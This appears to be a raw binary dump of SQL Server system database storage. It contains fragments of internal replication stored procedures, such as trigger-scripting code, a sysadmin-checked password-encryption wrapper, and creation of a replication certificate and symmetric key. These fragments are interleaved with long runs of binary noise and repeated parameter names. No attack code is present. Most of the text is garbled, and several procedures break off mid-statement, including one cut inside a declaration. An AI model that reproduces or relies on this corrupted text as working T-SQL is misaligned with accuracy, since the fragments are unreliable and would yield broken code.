!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(/Jvcreate procedure sys.sp_MSscript_begintrig1 
(
    @publisher   sysname
    ,@publisher_db sysname
    ,@publication sysname
    ,@trigname      sysname
    ,@objid         int
    ,@procname      sysname
    ,@filter_clause nvarchar(4000)
    ,@op_type       char(3) = 'ins' -- ins, upd, del
    ,@fisqueued      bit = 0 -- 1 = Queued subscription
    ,@falter    bit = 0 -- if 1 script alter, otherwise script create
    ,@agent_id	int = NULL  	-- null @agent_id means this is executed at pub side, 
    										-- pub queries sysarticlecolumns for article column partition, 
    										-- sub uses MSsubscription_articlecolumns
)
as
BEGIN
    declare @cmd       nvarchar(4000)
                ,@start     int
                ,@sub_len   int
                ,@subtableowner sysname
                ,@qualname  nvarchar(517)
                ,@thisspname sysname
                ,@pubsecuritymode int
                ,@updatemode int
                ,@contextuser sysname

    select @thisspname = N'sp_MSscript_begintrig1'
            ,@subtableowner = schema_name(objectproperty(@objid, N'SchemaId'))
    exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
    --
    -- check for exisitng security mode
    --
    select @contextuser = case when (sp.publisher_security_mode in (0,1) and sp.publisherlinkuser = N'xxxx') 
                                            then N'repllinkproxy' else sp.publisherlinkuser end
            ,@pubsecuritymode = sp.publisher_security_mode
            ,@updatemode = sa.update_mode
    from MSsubscription_properties as sp join MSsubscription_agents as sa
        on upper(sp.publisher) = upper(sa.publisher)
            and sp.publisher_db = sa.publisher_db
            and sp.publication = sa.publication
    where upper(sa.publisher) = upper(@publisher)
        and sa.publisher_db =  @publisher_db
        and sa.publication = @publication
    --
    -- construct qualified trigger name
    --
    select @cmd = case when @falter = 0 then N'create' else N'alter' end
    select @cmd = @cmd + N' trigger ' + QUOTENAME(@subtableowner) + N'.' + QUOTENAME(@trigname) + N' on ' + @qualname 
    --
    -- if we have immediate updating, publisher link security mode 0, 
    -- we might have to execute in a particular context
    --
    if (@updatemode in (1,3,5)) and @pubsecuritymode = 0 and @contextuser is not null
    begin
        --
        -- the context user should not be a sysadmin
        --
        if exists (select * from sys.database_principals as dp join master.dbo.syslogins as s on dp.sid = s.sid
                        where dp.name = @contextuser and (ISNULL(IS_SRVROLEMEMBER('sysadmin',s.name),0) != 1))
        begin
            select @cmd = @cmd + N' with execute as N''' + sys.fn_replreplacesinglequote(@contextuser) + N''' for ' 
        end
        else
        begin
            select @cmd = @cmd + N' for '
        end
    end
    else
    begin
        select @cmd = @cmd + N' for '
    end
    --
    -- continue scripting
    --
    select @cmd = case
        when (@op_type = 'ins') then @cmd + N'insert '
        when (@op_type = 'upd') then @cmd + N'update '
        when (@op_type = 'del') then @cmd + N'delete '
    end
    select @cmd = @cmd + N'not for replication
as
'
    insert into #proctext(procedure_text) values (@cmd)

    --
    -- declare common local variables
    --
    --        ,@update_mode char(40)
    --        ,@failover_mode char(10)
    --
    insert into #proctext(procedure_text) values (N'
    declare @rc int
                ,@retcode int
                ,@connect_string nvarchar(300)
                ,@islocalpublisher bit 
                ,@rpc_proc nvarchar(500)
                ,@update_mode_id int
                ,@bitmap varbinary(4000)
                ,@version_guid uniqueidentifier
                ,@trigger_op char(10) ')

    --
    -- queued specific declarations
    --
    insert into #proctext(procedure_text) values (N'
                ,@failover_mode_id int
                ,@queue_server sysname
                ,@queue_id sysname
                ,@tran_id varchar(255)
                ,@subscriber sysname
                ,@subscriber_db sysname 
                ,@partial_cmd bit
                ,@start_offset int
                ,@end_offset int
                ,@vb_buffer varbinary(8000)
                ,@vb_bufferlen int        
            ')

    -- script variables used to retrieve data from inserted table
    if @op_type in ('ins', 'upd')
    begin
        insert into #proctext(procedure_text) values(N'
    declare ')
        exec sys.sp_MSscript_params @objid, null, null, 0, null, @agent_id
    end
    --
    -- declare a second set of vars for immediate updating
    -- to handle legacy identity and timestamp behavior
    --
    if (@op_type = 'ins' and @fisqueued = 0) or @op_type in ('del', 'upd')
    begin
        insert into #proctext(procedure_text) values(N'
    declare ')
        exec sys.sp_MSscript_params @objid, null, '_old',  0, null, @agent_id
    end
    -- Set @rc, @subscriber and @subscriber_db
    -- Optimization. Return immediately if no row changed
    select @cmd = N'

    select @rc = @@rowcount
            ,@subscriber = @@servername
            ,@subscriber_db = db_name() 
            ,@version_guid = newid()
    if @rc = 0 
        return 
    set nocount on '
    insert into #proctext(procedure_text) values(@cmd)
    --
    -- set column update bitmap for update trigger
    --
    if (@op_type = 'upd')
    begin
        declare     @num_bytes        int
                    ,@i_byte            int
                    ,@i_bit            tinyint
                    ,@len_before nvarchar(10)
                    ,@len_after nvarchar(10)
                    ,@index1 nvarchar(10)
                    ,@index2 nvarchar(10)
                    ,@this_col         int
                    ,@max_col            int
                    ,@total_col        int

        --
        -- check if the subscriber table was altered for column changes
        --
        select @max_col = max(column_id)
                ,@total_col = count(column_id)
        from sys.columns where object_id = @objid
        if (@total_col = @max_col)
        begin
            --
            -- actual colid and relative column order are same
            --
            insert into #proctext(procedure_text) values(N'
    select @bitmap = columns_updated() 
    ')
        end
        else
        begin
            --
            -- we need to convert the columns_updated bitmap to 
            -- a bitmap that contains relative column information
            --
            select @cmd = N'
    select @bitmap = sys.fn_repladjustcolumnmap( ' + cast(@objid as sysname) + N', ' +
                cast(@total_col as sysname) + N', columns_updated())'
            insert into #proctext(procedure_text) values(@cmd)
            select @cmd = N'                
    if (@bitmap is null) 
    begin
        raiserror(21499, 16, 2, ''fn_repladjustcolumnmap'', ''create'', ''column mapping'', @@error)
        goto FAILURE
    end
    '
            insert into #proctext(procedure_text) values(@cmd)
        end
        --
        -- Mark the version bit in the bitmap as updated.
        --
        select @cmd = N'
    ' + '-- set the bit for msrepl_tran_version'
        insert into #proctext(procedure_text) values(@cmd)
        --
        -- get actual column id
        --
        exec sys.sp_MSget_col_position @objid, null, 'msrepl_tran_version', @this_col = @this_col output, @agent_id = @agent_id
        if (@total_col < @max_col)
        begin
            --
            -- this table has altered columns, create a mapping between
            -- relative column position and actual column id
            --
            declare @colmap table (relativeorder in!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`-NB)	0N00-Mhost_address0-x4x=type0-x4x=name0-88
]enqueued_tasks_count0-88
Yactive_tasks_count0-88
[completed_ios_count0-acompleted_ios_in_bytes0-88
Uactive_ios_count0-	mdefault_memory_clerk_address0-E@objname0-E@newname0-
E@objtype0-P5O@remoteserver0-P5G@loginame0-P5K@remotename0-xI@publisher0-xO@publisher_db0-xM@publication0-xM@distributor0-x88
Y@subscription_type0-]I@publisher0-]O@publisher_db0-]M@publication0-]
Y@independent_agent0-]Y@subscription_type0-]M@description0-]<M@update_mode0-]hhS@immediate_sync0-o?@name0-ohhO@transpublish0-ohhO@mergepublish0-@E@article0-@M@publication0-@hhG@is_debug0-@hhA@alter0->8Q@fulltablename0->Q@schema_option0->hhK@scriptonly0-*Q@source_schema0-*M@source_name0-*W@capture_instance0-0s88
?@wait0-0s88
C@needed0-lM@publication0-l_@dynamic_filter_login0-le@dynamic_filter_hostname0-li@dynamic_snapshot_location0-lg@dynamic_snapshot_jobname0-l$$c@dynamic_snapshot_jobid0-l$$_@dynamic_job_step_uid0-l88
S@frequency_type0-l	88
[@frequency_interval0-l
88
W@frequency_subday0-l88
i@frequency_subday_interval0-l88
m@frequency_relative_interval0-l
88
m@frequency_recurrence_factor0-l88
Y@active_start_date0-l88
U@active_end_date0-l88
g@active_start_time_of_day0-l88
c@active_end_time_of_day0-l88
g@dynamic_snapshot_agentid0-lhhQ@ignore_select0-'M@publication0-'88
O@partition_id0-'88
Q@lock_acquired0-'88
E@timeoutM@publication0-NK@subscriber0-N$$C@job_id0-OI@publisher0-OO@publisher_db0-OM@publication0-OhhY@exclude_anonymous0-fI@publisher0-fO@publisher_db0-fM@publication0-f_@dynamic_filter_login0-fe@dynamic_filter_hostname0-f$$c@dynamic_snapshot_jobid0-*Q@source_schema0-*M@source_name0-*W@capture_instance0-0s88
?@wait0-0s88
C@needed0-lM@publication0-l_@dynamic_filter_login0-le@dynamic_filter_hostname0-li@dynamic_snapshot_location0-lg@dynamic_snapshot_jobname0-l$$c@dynamic_snapshot_jobid0-l$$_@dynamic_job_step_uid0-l88
S@frequency_type0-l	88
[@frequency_interval0-l
88
W@frequency_subday0-l88
i@frequency_subday_intervalQbQ,
h

	]		w"?u`kV!
u
2
Oz-{.=T	Y		y*

<
	[},b8'`-%))1'&X-X88
0-f@C@object0-LCO@table_schema0-LCK@table_type0-Y!=name0-Y!88
[service_contract_id0-Y!88
Mprincipal_id0-
>Kschema_name0-
>Sconstraint_name0-
>=type0-
>aconstraint_column_name0-
>88
]constraint_column_id0-
>88
A@objid0-6b88
A@pubid0-6b88
A@artid0-6bG@property0-6bA@value0-o88
O@publisher_id0-oO@publisher_db0-oI@publisher0-oS@max_xact_seqno0-ohhO@for_truncate0-hrI@publisher0-hrO@publisher_db0-hrM@publication0-hr_@dynamic_filter_login0-hre@dynamic_filter_hostname0-hr88
S@frequency_type0-hr88
[@frequency_interval0-hr88
W@frequency_subday0-hr	88
i@frequency_subday_interval0-hr
88
m@frequency_relative_interval0-hr88
m@frequency_recurrence_factor0-hr88
Y@active_start_date0-hr
88
U@active_end_date0-hr88
g@active_start_time_of_day0-hr88
c@active_end_time_of_day@Irequest_id0-88
Istep_index0-Qoperation_type0-@@Wdistribution_type0-@@Olocation_type0-@@Astatus0-HHEerror_id0-==Istart_time0-	==Eend_time0-
88
Ytotal_elapsed_time0-Grow_count0-@@Ccommand0-CCell_Id0-44SCell_Attributes0-88
=SRID0-E@gGeoObj0-88
K@usDensity00-88
K@usDensity10-88
K@usDensity20-88
K@usDensity30-88
?@card0-88
W@tessellationMode0->>5S@distanceBuffer0-GCwait_id0-G@@Isession_id0-G=type0-GKobject_type0-GKobject_name0-GHHIrequest_id0-G==Mrequest_time0-G==Macquire_time0-G	dd?state0-G
88
Epriority0-ȯK@index_name0-ȯO@table_schema0-etotal_physical_memory_kb0-mavailable_physical_memory_kb0-Ytotal_page_file_kb0-aavailable_page_file_kb0-Ssystem_cache_kb0-]kernel_paged_pool_kb0-ckernel_nonpaged_pool_kb0-hhssystem_high_memory_signal_state0-	hhqsystem_low_memory_signal_state0-
4esystem_memory_state_desc0-88
Kpdw_node_id0-76$$A@pubid0-76A@value0-!I@publisher0-!O@publisher_db0-!M@publication0-!88
Y@subscription_type0-C@server0-G@infotype0-A@login0-G@password0-
>Kschema_name0-
>Sconstraint_name0-
>=type0-
>aconstraint_column_name0-
>88
]constraint_column_id0-
>88
A@objid0-6b88
A@pubid0-6b88
A@artid0-6bq7_

D
	n		iX	n-.Sn#`<-[6)2N
ŢU0-є4Klistener_id0-є4Iip_address0-є4Qip_subnet_mask0-єhhCis_dhcp0-є4Wnetwork_subnet_ip0-є88
mnetwork_subnet_prefix_length0-є4enetwork_subnet_ipv4_mask0-є88
?state0-є	4Istate_desc0-Y@constraint_schema-r0-rW@physical_locator0-88
Gbucket_no0-88
Kdatabase_id0-88
Urecovery_unit_id0-Mlog_block_id0-Mcache_buffer0-~>88
Kdatabase_id0-~>88
Urecovery_unit_id0-~>Kconsumer_id0-~>Ystart_log_block_id0-~>Wlast_log_block_id0-~>00Ashared0-~>44Kref_counter0-~>Mcache_buffer0-~>88
K@DatabaseId0-~>K@ConsumerId0-)etransaction_sequence_num0-<K@subscriber0-<00?@type0-<A@login0-<G@password0-<88
Y@commit_batch_size0-<88
Y@status_batch_size0-<88
U@flush_frequency0-<88
S@frequency_type0-<	88
[@frequency_interval0-<
88
m@frequency_relative_interval0-<88
m@frequency_recurrence_factor0-<88
W@frequency_subday0-<
88
i@frequency_subday_interval0-<88
g@active_start_time_of_day0-<88
c@active_end_time_of_day0-<88
Y@active_start_date0-<88
U@active_end_date0-<M@description0-<88
Q@security_mode0-<hh[@encrypted_password0-<I@publisher0-<S@publisher_type0-<G@internal0-ܞhhG@reserved0-_$$A@pubid0-_$$A@artiddisk_bytes0-DKfile_handle0-D88
K@DatabaseId0-D88
C@FileId0-IEc@snapshot_session_token0-IE$$O@dynsnapseqno0-88
W@replication_type0-I@publisher0-O@publisher_db0-88
e@publisher_security_mode0-U@publisher_login0-[@publisher_password0-M@publication0-K@subscriber0-	Q@subscriber_db0-
88
g@subscriber_security_mode0-W@subscriber_login0-]@subscriber_password0-
M@distributor0-88
i@distributor_security_mode0-Y@distributor_login0-_@distributor_password0-$$U@subscription_id0-88
Y@independent_agent0-88
Y@subscription_type0-88
g@use_interactive_resolver0-88
Q@failover_mode0-hhO@use_web_sync0-G@hostname0-<I@publisher0-<O@publisher_db0-<M@publication0-hhG@is_biton0-<K@subscriber0-<00?@type0-<A@login0-<G@password0-<88
Y@commit_batch_size0-<88
Y@status_batch_size0-<88
U@flush_frequency0-<88
S@frequency_type0-<	88
[@frequency_interval0-<
88
m@frequency_relative_interval}z-})w4ELQz/

4
x%05
k

>v#
u

		U	
	Zw6;GNa9LE`-	!)
3

WZ-dV0-K@table_name0-O@table_schema0-K@table_type0-BW@IndexNamePattern0-B#K@OptionName0-BM@OptionValue0-C88
A@objid0-CE@op_type0-C88
C@indent0-ChhI@fisqueued-
0-
00W@len_minorversion0-g00?@mode0-gW@secondary_server0-g[@secondary_database0-g$$O@secondary_id0-gS@primary_server0-gS@monitor_server0-gW@primary_database0-g88
Y@restore_threshold0-g	88
U@threshold_alert0-g
hhe@threshold_alert_enabled0-gW@last_copied_file0-g==W@last_copied_date0-g
==_@last_copied_date_utc0-g[@last_restored_file0-g==[@last_restored_date0-g==c@last_restored_date_utc0-g88
a@last_restored_latency0-g88
g@history_retention_period-5hh0-588
I@tablenickMwaiter_count0-{i
[timeout_error_count0-{iYforced_grant_count0-{i88
Cpool_id0-C88
A@objid0-CE@op_type0-C88
C@indent0-ChhI@fisqueued0-488
A@objid0-4M@version_col0-488
C@indent0-4[@primary_key_bitmap0-e$$A@subid-
0-
00W@len_minorversion-6hh0-688
A@colid0-ۥ88
K@agent_type0-"M@publication0-"hhc@activate_articles_only0-"I@publisher0-"S@publisher_type0-M@publication0-xOM@publication0-xOE@article0-xOK@subscriber0-xOS@destination_db0-xO88
A@found0-xOI@publisher0-xOS@publisher_type0-GM@publication0-GE@article0-GhhO@command_only0-GI@publisher0-GO@publisher_db0-GhhA@alter0-GhhI@trig_only0-GhhI@usesqlclr0-mz88
A@pubid0-mz88
A@artid0-mzC@bitmap0-h޲E@objname0-h޲G@objowner-KSB88
0-KSB44O@publisher_id0-KSBO@publisher_db0-KSBM@publication0-KSB88
S@publication_id0-\“88
U@current_version0->p88
G@agent_id0-;sI@publisher0-;sO@publisher_db0-;sM@publication0-;sK@subscriber0-;sQ@subscriber_db0-g00?@mode0-gW@secondary_server0-g[@secondary_database0-g$$O@secondary_id0-gS@primary_server0-gS@monitor_server0-gW@primary_database0-g88
Y@restore_threshold0-g	88
U@threshold_alert0-g
hhe@threshold_alert_enabled0-gW@last_copied_file0-g==W@last_copied_date0-g
==_@last_copied_date_utc0-g[@last_restored_file0-g==[@last_restored_datef6`Ap<M
	u		\O<?>w.en
=
v+`-F3)[?4d2f0-M K@table_name0-M O@table_schema0-M Q@table_catalog0-M I@stat_name0-M M@stat_schema0-M O@stat_catalog0-ɫ==Ktime_queued0-ɫ88
Ajob_id0-ɫ88
Kdatabase_id0-ɫ88
Iobject_id10-ɫ88
Iobject_id20-ɫ88
Iobject_id30-ɫ88
Iobject_id40-ɫ88
Ierror_code0-ɫ	44Mrequest_type0-ɫ
44Kretry_count0-ɫ44Kin_progress0-ɫ44Isession_id0-ɫ
88
Kpdw_node_id0-+88
K@request_id0-+K@originator0-+Q@originator_db0-+Q@response_srvr0-+M@response_db0-+U@connection_info0-+88
a@response_srvr_version0-+88
c@response_originator_id0-+	88
m@response_conflict_retention0-eI@job_login0-eO@job_password0-e44e@publisher_security_mode0-eU@publisher_login0-e[@publisher_password0-eI@publisher0-eS@publisher_type0-I@publisher0-O@publisher_db0-M@publication0-hhG@enabling0-88
Q@originator_id0-E@artlist0-88
Eagent_id0-88
S@publication_id0-c@partition_id_eval_proc0-$$A@pubid0-44[@publication_number0-M@column_list0-Q@function_list0-g@partition_id_eval_clause0-44_@use_partition_groups0-cЯC@dbnamearse0-/nhheIsRecordPrefixCompressed0-/nhhEIsSymbol0-/n88
KPrefixBytes0-/n88
KInRowLength0-/nE@rowdump0-EI@publisher0-EO@publisher_db0-EM@publication0-E88
W@publication_type0-`nCaddress0-`n4=name0-`n88
Spending_buffers0-`n88
_total_regular_buffers0-`n[regular_buffer_size0-`n88
[total_large_buffers0-`nWlarge_buffer_size0-`nWtotal_buffer_size0-`n	88
[buffer_policy_flags0-`n
4Ybuffer_policy_desc0-`n88
?flags0-`n4Gflag_desc0-`n
88
[dropped_event_count0-`n88
]dropped_buffer_count0-`n88
cblocked_event_fire_time0-`n==Kcreate_time0-`n88
ilargest_event_dropped_size0-lOC@dbname0-lO
?@type0-lOhh[@ignore_distributor0-lOhhM@from_backup0-A@login0-hhE@isvalid0-I@publisher0-88
A@artid0-+88
K@request_id0-+K@originator0-+Q@originator_db0-+Q@response_srvr0-+M@response_db0-+U@connection_info0-+88
a@response_srvr_version0-+88
c@response_originator_id0-+	88
m@response_conflict_retention0-v|M@publication0-v|88
K@request_id0-v|==M@cutoff_date0-eI@job_login0-eO@job_passwordJ2S

j
,
ZX

H
		?	k$?&p#6Wt+P{06=

F

K`?-5J)J	"5:n0-z88
E@traceid0-z88
E@records0-M@publication0-O@publisher_db0-I@publisher-2\88
0-2\G@password0-JI@publisher0-cartcache_schema_address0-88
?tabid0-44Cindexid0-88
?idSch0-4Gtabschema0-44KccTabschema0-4Ctabname0-44GccTabname0-	Srowsetid_delete0-
Srowsetid_insert0-88
Knum_pk_cols0-Apcitee0-
88
Qre_numtextcols0-040[re_schema_lsn_begin0-040Wre_schema_lsn_end0-88
Ire_numcols0-88
Ere_colid0-4Ire_awcName0-44Gre_ccName0-44Ire_colattr0-44Gre_maxlen0-00Cre_prec0-00Ere_scale0-88
Kre_collatid0-00Gre_xvtype0-88
Gre_offset0-00Gre_bitpos0-00Mre_fNullable0-00Mre_fAnsiTrim0-88
Kre_computed0-Kse_rowsetid0- 040[se_schema_lsn_begin0-!040Wse_schema_lsn_end0-"88
Ise_numcols0-#88
Ese_colid0-$44Gse_maxlen0-%00Cse_prec0-&00Ese_scale0-'88
Kse_collatid0-(00Gse_xvtype0-)88
Gse_offset0-*00Gse_bitpos0-+00Mse_fNullable0-,00Mse_fAnsiTrim0--00Kse_computed0-.44]se_nullBitInLeafRows0-[]I@publisher0-[]O@publisher_db0-[]M@publication0-[]hhQ@show_security0-oM@publication0-oK@subscriber0-oQ@subscriber_db0-oI@publisher0-oO@publisher_db0-oK@web_server0-o88
;@id0-l?$$A@pubid0-l?88
O@source_objid0-l?M@column_list0-l?W@prefix_tablename0-l?hh_@blob_cols_at_the_end0-l?hh_@explicit_column_list0-[@cols_being_dropped0-M@input_colv10-O@output_colv1!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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

U

=@

[

		;	l#NSv#Fu2+`-6)
65#<O0->88
G@newvalue0-Qtransaction_id0-etransaction_sequence_num0-hhctransaction_is_snapshot0-kfirst_snapshot_sequence_num0-olast_transaction_sequence_num0-gfirst_useful_sequence_num-2ؖ88
0-2ؖQ@binary8_value0-mQVerboseLogging0-mYSqlDumperDumpFlags0-m4WSqlDumperDumpPath0-m]SqlDumperDumpTimeOut0-m_FailureConditionLevel0-mYHealthCheckTimeout0-"88
K@article_id0-"88
G@table_id0-"88
K@fpublished0-"88
M@instance_id0-"88
O@publisher_id0-"I@publisher0-"O@publisher_db0-"S@publisher_type0-"	U@publisherserver0-"
E@article0-"44S@publication_id0-"M@publication0-"
U@creation_script0-"E@ins_cmd0-"E@del_cmd0-"E@upd_cmd0-"88
G@filterid0-"ccQ@filter_clause0-"88
G@precmdid0-"00C@status0-"88
C@typeid0-"Q@schema_option0-"O@source_owner0-"O@source_table0-"Y@destination_owner0-"Y@destination_table0-"
[@vertical_partition0-"hhi@force_invalidate_snapshot0-"88
A@objid0-"88
K@sync_objid0-"M@description0-" hha@use_default_datatypes0-"!S@publisher_dbms0-""Y@publisher_version0-v88
G@gencheck0-v88
o@gen_level_threshold_override0-vI@commongen0-v$$Q@commongenguid0-v88
S@commongenvalid==Ilast_write0-u88
Snet_packet_size0-u040Yclient_net_address0-u88
Sclient_tcp_port0-u040Wlocal_net_address0-u88
Qlocal_tcp_port0-u$$Oconnection_id0-u$$]parent_connection_id0-u@@amost_recent_sql_handle0-488
A@tabid0-488
A@colid0-400Q@publishertype0-M4Efilename0-M++
"
Ocreation_time0-MOsize_in_bytes0-S@component_type0-A@param0-$$;@id0-$$G@step_uid0-?@name0-88
S@frequency_type0-88
[@frequency_interval0-88
W@frequency_subday0-88
i@frequency_subday_interval0-88
m@frequency_relative_interval0-	88
m@frequency_recurrence_factor0-
88
Y@active_start_date0-88
U@active_end_date0-88
g@active_start_time_of_day0-
88
c@active_end_time_of_day0-A@login0-G@password0-88
G@proxy_id0-
VC@dbname0-
V?@type0-`M@publication0-`K@subscriber0-`Q@subscriber_db0-M@publication0-I@publisher0-"88
K@article_id0-"88
G@table_id0-"88
K@fpublished0-"88
M@instance_id0-"88
_f%
a

`}:

[

		7	R[v+@-[
R2+]`B	-H)B	.7C20-=name0-@@Exml_data0-hhGis_active0-Mhost_address0-88
Mprincipal_id0-88
Kdatabase_id0-u88
]spatial_reference_id0-uQauthority_name0-u88
sauthorized_spatial_reference_id0-u@@Swell_known_text0-uSunit_of_measure0-u>>5aunit_conversion_factor0-s>O@table_server0-s>Q@table_catalog0-s>K@table_name0-s>K@index_name0-s>O@table_schema0-sE@objname0-sM@updateusage0-I@publisher0-hhQ@security_mode0-A@login0-G@password0-88
U@connect_timeout0-0eM@publication0-0eI@publisher0-0e00C@action0-:M@publication0-:E@article0-:I@publisher0-:S@publisher_type0-:hhM@is_snapshot0-f6I@publisher0-J,88
K@agent_type0-J,88
G@agent_id0-J,88
G@error_id0-J,88
W@alert_error_code0-J,I@publisher0-J,O@publisher_db0-J,M@publication0-J,88
W@publication_type0-J,	K@subscriber0-J,
Q@subscriber_db0-J,E@article0-J,[@destination_object0-J,
Q@source_object0-J,ccW@alert_error_text0-K@event_type0-Y@old_database_name0-Y@new_database_name-7hh0-7W@capture_instance0-I@publisher0-O@publisher_db0-M@publication0-88
U@datasource_type0-M@server_name0-E@db_name0-U@datasource_path0-G@replnick0-	88
Q@schemaversion0-
$$A@subid0-88
M@compatlevel0-88
O@partition_id0-
88
U@replica_version0-hha@activate_subscription0-tI@publisher0-tO@publisher_db0-tM@publication0-t88
M@lightweight0-
?@name0-88
;@id
G@error_id0-J,88
W@alert_error_code0-J,I@publisher0-J,O@publisher_db0-J,M@publication0-J,88
W@publication_type0-J,	K@subscriber0-J,
Q@subscriber_db0-J,E@article0-J,[@destination_object0-J,
Q@source_object0-J,ccW@alert_error_text0-K@event_type0-Y@old_database_name0-Y@new_database_name0-oVM@db_snapshot0-oV
E@lastLSN0-oV(K@lastLSNstr0-U<W@capture_instance0-U<
S@low_water_mark0-U<I@threshold-7hh0-7W@capture_instance0-.K$$A@pubid0-.K$$A@artid0-.KG@property0-.KA@value0-.K88
Q@value_numeric0-I@publisher0-O@publisher_db0-M@publication!}0Wp6Z	
i

v):

a

l!6g/k	x	/	Uo(MZv)`g
<i88ɲ0L@ s8--
-- Name: xp_repl_convert_encrypt_sysadmin_wrapper
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.xp_repl_convert_encrypt_sysadmin_wrapper
(
    @password nvarchar(524) output
) 
as
begin
    set nocount on
    declare @retcode int
    /*
    ** Security Check: require sysadmin
    */
    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror(21089,16,-1) 
        return (1)
    end

	-- if we have sphinx/shiloh encryption go ahead and convert
	if sys.fn_replencryptversion(@password) in (1, 2, 3)
	begin
	    exec @retcode = sys.xp_repl_convert_encrypt @password output
	    return @retcode
	end

    return 0
end
0+W@ 
8


--
-- Name: 
--	sp_MSaddreplsymmetrickey
-- 
-- Description: 
--	This procedure creates the following:
--		Database symmetric key based on a password seed
--		Database level certificate with associated asymmetric public/private keys
--		Database level scoped replication symetric key used for encrypting
--
-- Parameters: 
--	See the procedure definition.
--
-- Returns: 
--	0 - On success
--	1 - On Failure
--
-- Result: 
--	None
--
-- Security: 
--	None as this procedure is not public.
--
CREATE PROCEDURE sys.sp_MSaddreplsymmetrickey
AS
BEGIN
	DECLARE @error_number 	int,
			@error_severity int,
			@error_state 	int

	BEGIN TRY
		-- this creates a certificate and associated asymmetric public/private keys in 
		-- the database and encrypts the private key using the database master key.
		CREATE CERTIFICATE SQLSERVER_REPLICATION
			WITH SUBJECT = 'SQLSERVER_REPLICATION'
	END TRY
	BEGIN CATCH
		-- we eat the following errors:
		--
		--	Msg 15232, Level 16, State 1, Line 1
		--	A certificate with name 'SQLSERVER_REPLICATION' already exists or this certificate already has been added to the database.
		IF @@ERROR NOT IN (15232)
		BEGIN
			SELECT @error_number = ERROR_NUMBER(), 
					@error_severity = ERROR_SEVERITY(), 
					@error_state = ERROR_STATE()

			RAISERROR(@error_number, @error_severity, @error_state)

			RETURN 1
		END
	END CATCH
	
	BEGIN TRY
		-- this creates the database scoped replication symmetric key that will be used 
		-- later to encrypt replication passwords. Every time a password is stored by 
		-- replication, the stored procedure code should first query to see if the 
		-- SQLSERVER_REPLICATION key already exists and create it prior to storing the 
		-- password if does not exist. The server encrypts the symmetric key using the 
		-- private key of the certificate created in the previous step. The master key 
		-- is always available to local users and does not need to be opened. By contrast, 
		-- the symmetric key must be opened to be used.
		CREATE SYMMETRIC KEY SQLSERVER_REPLICATION
			WITH ALGORITHM = TRIPLE_DES
			ENCRYPTION BY CERTIFICATE SQLSERVER_REPLICATION
	END TRY
	BEGIN CATCH
		-- we eat the following error:
		--
		--	Msg 15282, Level 16, State 1, Line 1
		--	A key with name 'SQLSERVER_REPLICATION' or user defined unique identifier already exists or you do not have permissions to create it.
		IF @@ERROR NOT IN (15282)
		BEGIN
			SELECT @error_number = ERROR_NUMBER(), 
					@error_severity = ERROR_SEVERITY(), 
					@error_state = ERROR_STATE()

			RAISERROR(@error_number, @error_severity, @error_state)

			RETURN 1
		END
	END CATCH

	RETURN 0
END
0g] 8create procedure sys.sp_MSrepl_subscriptionagentjobcontrol
(
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname,
    @publisher      sysname,
    @publisher_type sysname,
    @action         tinyint
)
as
begin
    set nocount on
    
    declare @PUSH int
    set @PUSH = 0

    declare @retcode            int
    declare @independent_agent  int
    declare @pubid              int
    declare @distributor        sysname
    declare @distributor_rpc    sysname
    declare @distribution_db    sysname
    declare @publisher_db       sysname
    declare @subscriber_id      int
    declare @procedure          nvarchar(4000)
    declare @start              tinyint
    set @retcode = 0
    set @independent_agent = 0
    set @pubid = null
    set @publisher_db = db_name()
    set @start = 0

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1

    -- Check to see if database is activated for publication
    if sys.fn_MSrepl_istranpublished(db_name(),1) <> 1
    begin
        -- "This database is no enabled for publication."
        raiserror (14013, 16, -1)
    end

    -- Parameter check: @publication
    if @publication is null
    begin
        -- "The parameter @publication cannot be NULL."
        raiserror (14043, 16, -1, '@publication', 'sp_MSrepl_startsubscription_agent')
        return 1
    end
    
    exec @retcode = sys.sp_validname @publication
    if @@error <> 0 or @retcode <> 0
        return 1

    -- Parameter Check : @publisher
    if @publisher is null 
    begin
        set @publisher = publishingservername()
    end

    -- Retrieve publication options
    select @pubid               = pubid,
           @independent_agent   = independent_agent
      from dbo.syspublications
     where name = @publication
       and pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

    if @pubid is null   
    begin
        -- "The publication '@publication' does not exist."
        raiserror (20026, 16, -1, @publication)
        return 1
    end

    -- Check to see if the subscription exists
    if not exists (select ss.*
                     from sysextendedarticlesview seav
                     join syssubscriptions ss
                       on ss.artid = seav.artid
                    where seav.pubid = @pubid
                      and ss.srvname = upper(@subscriber) 
                      and ss.dest_db = @subscriber_db
